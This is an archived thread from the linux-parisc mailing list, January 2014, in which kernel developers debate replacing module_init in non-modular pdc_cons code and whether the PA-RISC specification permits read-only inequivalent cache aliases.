	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 19CB48EE0C6;
	Wed, 22 Jan 2014 11:20:52 -0800 (PST)
In-Reply-To: <1390414784-6472-1-git-send-email-paul.gortmaker@windriver.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5626>

On Wed, 2014-01-22 at 13:19 -0500, Paul Gortmaker wrote:
> The pdc_cons.c code is always built in.  It will never be modular,
> so using module_init as an alias for __initcall is rather
> misleading.
> 
> Fix this up now, so that we can relocate module_init from
> init.h into module.h in the future.  If we don't do this, we'd
> have to add module.h to obviously non-modular code, and that
> would be a worse thing.

I don't buy this.  We've already had an argument about using MODULE_
tags in non-modular code here:

http://marc.info/?t=138947344500007

The consensus was that we'd continue to do so, so that would seem to
invalidate the rationale for doing this patch set.

Without the rationale, this is churn for no gain, so I'd rather not do
it.

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 11:24:55 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390418693 5520 80.91.229.3 (22 Jan 2014 19:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 19:24:53 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 20:24:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W63Q1-0002IW-V0
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 20:24:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752770AbaAVTY5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 14:24:57 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37462 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752668AbaAVTY4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 14:24:56 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3FBD38EE1FD;
	Wed, 22 Jan 2014 11:24:56 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JGRmu2JB0Ayg; Wed, 22 Jan 2014 11:24:56 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BE4008EE0C6;
	Wed, 22 Jan 2014 11:24:55 -0800 (PST)
In-Reply-To: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5627
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5627>

On Wed, 2014-01-22 at 14:11 -0500, Mikulas Patocka wrote:
[no comment on the merits of the patch, just the wording of the change
log]
> This patch changes it so that INEQUIVALENT ALIASES are only reported for
> writeable mappings. PA-RISC specification allows inequivalent aliases for
> read-only mappings, so there's no need to report them as an error.

No, it doesn't.  The spec says no inequivalent aliases at all for
certain types of CPU (that was the cause of the inability to boot on the
CPU with the combined PIPT/VIPT cache) ... we believe we skirted the
requirements with some judicious flushing but we can't say it was
supported by the docs.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't use module_init for non-modular core pdc_cons
 code
Date: Wed, 22 Jan 2014 14:33:04 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <52E01CF0.4040307@windriver.com>
References: <52df8b79.riaKReY/RZZi2qvy%fengguang.wu@intel.com>	 <1390414784-6472-1-git-send-email-paul.gortmaker@windriver.com> <1390418450.2372.83.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390419172 11611 80.91.229.3 (22 Jan 2014 19:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 19:32:52 +0000 (UTC)
Cc: <fengguang.wu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 20:32:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W63Xh-0005Vq-T2
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 20:32:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752668AbaAVTcx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 14:32:53 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:53877 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752358AbaAVTcx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 14:32:53 -0500
Original-Received: from ALA-HCB.corp.ad.wrs.com (ala-hcb.corp.ad.wrs.com [147.11.189.41])
	by mail1.windriver.com (8.14.5/8.14.5) with ESMTP id s0MJWisl017543
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Wed, 22 Jan 2014 11:32:44 -0800 (PST)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCB.corp.ad.wrs.com
 (147.11.189.41) with Microsoft SMTP Server id 14.2.347.0; Wed, 22 Jan 2014
 11:32:44 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <1390418450.2372.83.camel@dabdike.int.hansenpartnership.com>
X-Originating-IP: [128.224.146.65]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5628>

On 14-01-22 02:20 PM, James Bottomley wrote:
> On Wed, 2014-01-22 at 13:19 -0500, Paul Gortmaker wrote:
>> The pdc_cons.c code is always built in.  It will never be modular,
>> so using module_init as an alias for __initcall is rather
>> misleading.
>>
>> Fix this up now, so that we can relocate module_init from
>> init.h into module.h in the future.  If we don't do this, we'd
>> have to add module.h to obviously non-modular code, and that
>> would be a worse thing.
> 
> I don't buy this.  We've already had an argument about using MODULE_
> tags in non-modular code here:
> 
> http://marc.info/?t=138947344500007
> 
> The consensus was that we'd continue to do so, so that would seem to
> invalidate the rationale for doing this patch set.
> 
> Without the rationale, this is churn for no gain, so I'd rather not do
> it.

Hi James,

Thanks for the link.  Here is another one.

https://lkml.org/lkml/2014/1/21/434

In there I explain the rationale for doing this and what value add we
get from it.  Perhaps you'll say those things aren't important, and
then I guess we'll have to agree to disagree then... but I hope not.

Thanks,
Paul.
--

> 
> Thanks,
> 
> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't use module_init for non-modular core
 pdc_cons code
Date: Wed, 22 Jan 2014 11:57:49 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <1390420669.2372.98.camel@dabdike.int.hansenpartnership.com>
References: <52df8b79.riaKReY/RZZi2qvy%fengguang.wu@intel.com>
		 <1390414784-6472-1-git-send-email-paul.gortmaker@windriver.com>
	 <1390418450.2372.83.camel@dabdike.int.hansenpartnership.com>
	 <52E01CF0.4040307@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390420665 30196 80.91.229.3 (22 Jan 2014 19:57:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 19:57:45 +0000 (UTC)
Cc: fengguang.wu@intel.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 20:57:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W63vs-0007GW-K2
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 20:57:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753245AbaAVT5v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 14:57:51 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37704 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752311AbaAVT5v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 14:57:51 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E80C78EE0FB;
	Wed, 22 Jan 2014 11:57:50 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XkVBKLvExS9s; Wed, 22 Jan 2014 11:57:50 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 692578EE0C6;
	Wed, 22 Jan 2014 11:57:50 -0800 (PST)
In-Reply-To: <52E01CF0.4040307@windriver.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5629>

On Wed, 2014-01-22 at 14:33 -0500, Paul Gortmaker wrote:
> On 14-01-22 02:20 PM, James Bottomley wrote:
> > On Wed, 2014-01-22 at 13:19 -0500, Paul Gortmaker wrote:
> >> The pdc_cons.c code is always built in.  It will never be modular,
> >> so using module_init as an alias for __initcall is rather
> >> misleading.
> >>
> >> Fix this up now, so that we can relocate module_init from
> >> init.h into module.h in the future.  If we don't do this, we'd
> >> have to add module.h to obviously non-modular code, and that
> >> would be a worse thing.
> > 
> > I don't buy this.  We've already had an argument about using MODULE_
> > tags in non-modular code here:
> > 
> > http://marc.info/?t=138947344500007
> > 
> > The consensus was that we'd continue to do so, so that would seem to
> > invalidate the rationale for doing this patch set.
> > 
> > Without the rationale, this is churn for no gain, so I'd rather not do
> > it.
> 
> Hi James,
> 
> Thanks for the link.  Here is another one.
> 
> https://lkml.org/lkml/2014/1/21/434
> 
> In there I explain the rationale for doing this and what value add we
> get from it.  Perhaps you'll say those things aren't important, and
> then I guess we'll have to agree to disagree then... but I hope not.

Well, OK, so 1 is covered by the link I sent.  3 is an EDONTCARE because
we don't care when the console is initialised as long as it is. Your
reason 2 I'm not sure I understand.  module_exit() functions are
automatically discarded by the linker scripts ... if we have a problem
with reference to code in them it will cause a link failure.

I'm grateful for dumping all the spurious section mismatches caused by
HOTPLUG, I really am, but I'm seeing less benefit to this code churn.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 15:39:44 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com> <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1390423194 28204 80.91.229.3 (22 Jan 2014 20:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 20:39:54 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 21:40:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W64ab-0006Yj-4c
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 21:39:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752437AbaAVUj4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 15:39:56 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:10553 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752331AbaAVUj4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 15:39:56 -0500
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MKdlZn015554
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 22 Jan 2014 15:39:50 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0MKdkBe001992
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 22 Jan 2014 15:39:46 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MKdkmH026047;
	Wed, 22 Jan 2014 15:39:46 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s0MKdiH4026043;
	Wed, 22 Jan 2014 15:39:45 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5630
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5630>



On Wed, 22 Jan 2014, James Bottomley wrote:

> On Wed, 2014-01-22 at 14:11 -0500, Mikulas Patocka wrote:
> [no comment on the merits of the patch, just the wording of the change
> log]
> > This patch changes it so that INEQUIVALENT ALIASES are only reported for
> > writeable mappings. PA-RISC specification allows inequivalent aliases for
> > read-only mappings, so there's no need to report them as an error.
> 
> No, it doesn't.  The spec says no inequivalent aliases at all for
> certain types of CPU (that was the cause of the inability to boot on the
> CPU with the combined PIPT/VIPT cache) ... we believe we skirted the
> requirements with some judicious flushing but we can't say it was
> supported by the docs.
> 
> James

A citation from Parisc 2.0 specification, Appendix F, section Address 
Aliasing:

"Software is allowed to have any number of read-only non-equivalently 
aliased translations to a physical page, as long as there are no other 
translations to the page. This is referred to as read-only non-equivalent 
aliasing."

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 12:57:03 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>
	 <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>
	 <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390424222 8780 80.91.229.3 (22 Jan 2014 20:57:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 20:57:02 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 21:57:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W64rC-0004Zv-Oc
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 21:57:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752985AbaAVU5G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 15:57:06 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38019 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752711AbaAVU5F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 15:57:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 544BE8EE0FB;
	Wed, 22 Jan 2014 12:57:04 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DrGkl21JDMLS; Wed, 22 Jan 2014 12:57:04 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DC63F8EE0C6;
	Wed, 22 Jan 2014 12:57:03 -0800 (PST)
In-Reply-To: <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5631>

On Wed, 2014-01-22 at 15:39 -0500, Mikulas Patocka wrote:
> 
> On Wed, 22 Jan 2014, James Bottomley wrote:
> 
> > On Wed, 2014-01-22 at 14:11 -0500, Mikulas Patocka wrote:
> > [no comment on the merits of the patch, just the wording of the change
> > log]
> > > This patch changes it so that INEQUIVALENT ALIASES are only reported for
> > > writeable mappings. PA-RISC specification allows inequivalent aliases for
> > > read-only mappings, so there's no need to report them as an error.
> > 
> > No, it doesn't.  The spec says no inequivalent aliases at all for
> > certain types of CPU (that was the cause of the inability to boot on the
> > CPU with the combined PIPT/VIPT cache) ... we believe we skirted the
> > requirements with some judicious flushing but we can't say it was
> > supported by the docs.
> > 
> > James
> 
> A citation from Parisc 2.0 specification, Appendix F, section Address 
> Aliasing:
> 
> "Software is allowed to have any number of read-only non-equivalently 
> aliased translations to a physical page, as long as there are no other 
> translations to the page. This is referred to as read-only non-equivalent 
> aliasing."

The kernel alias is read/write.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 16:31:40 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>  <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>  <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com>
 <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1390426304 1195 80.91.229.3 (22 Jan 2014 21:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 21:31:44 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 22:31:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W65Oo-0001Ns-PC
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 22:31:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753398AbaAVVbu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 16:31:50 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:47109 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753370AbaAVVbt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 16:31:49 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MLVh03019849
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 22 Jan 2014 16:31:43 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MLVhSU008208
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 22 Jan 2014 16:31:43 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MLVgCX001988;
	Wed, 22 Jan 2014 16:31:42 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s0MLVeRc001984;
	Wed, 22 Jan 2014 16:31:41 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5632
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5632>



On Wed, 22 Jan 2014, James Bottomley wrote:

> On Wed, 2014-01-22 at 15:39 -0500, Mikulas Patocka wrote:
> > 
> > On Wed, 22 Jan 2014, James Bottomley wrote:
> > 
> > > On Wed, 2014-01-22 at 14:11 -0500, Mikulas Patocka wrote:
> > > [no comment on the merits of the patch, just the wording of the change
> > > log]
> > > > This patch changes it so that INEQUIVALENT ALIASES are only reported for
> > > > writeable mappings. PA-RISC specification allows inequivalent aliases for
> > > > read-only mappings, so there's no need to report them as an error.
> > > 
> > > No, it doesn't.  The spec says no inequivalent aliases at all for
> > > certain types of CPU (that was the cause of the inability to boot on the
> > > CPU with the combined PIPT/VIPT cache) ... we believe we skirted the
> > > requirements with some judicious flushing but we can't say it was
> > > supported by the docs.
> > > 
> > > James
> > 
> > A citation from Parisc 2.0 specification, Appendix F, section Address 
> > Aliasing:
> > 
> > "Software is allowed to have any number of read-only non-equivalently 
> > aliased translations to a physical page, as long as there are no other 
> > translations to the page. This is referred to as read-only non-equivalent 
> > aliasing."
> 
> The kernel alias is read/write.
> 
> James

But the kernel alias shouldn't be loaded in the TLB for dynamic libraries 
that are mapped read-only.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
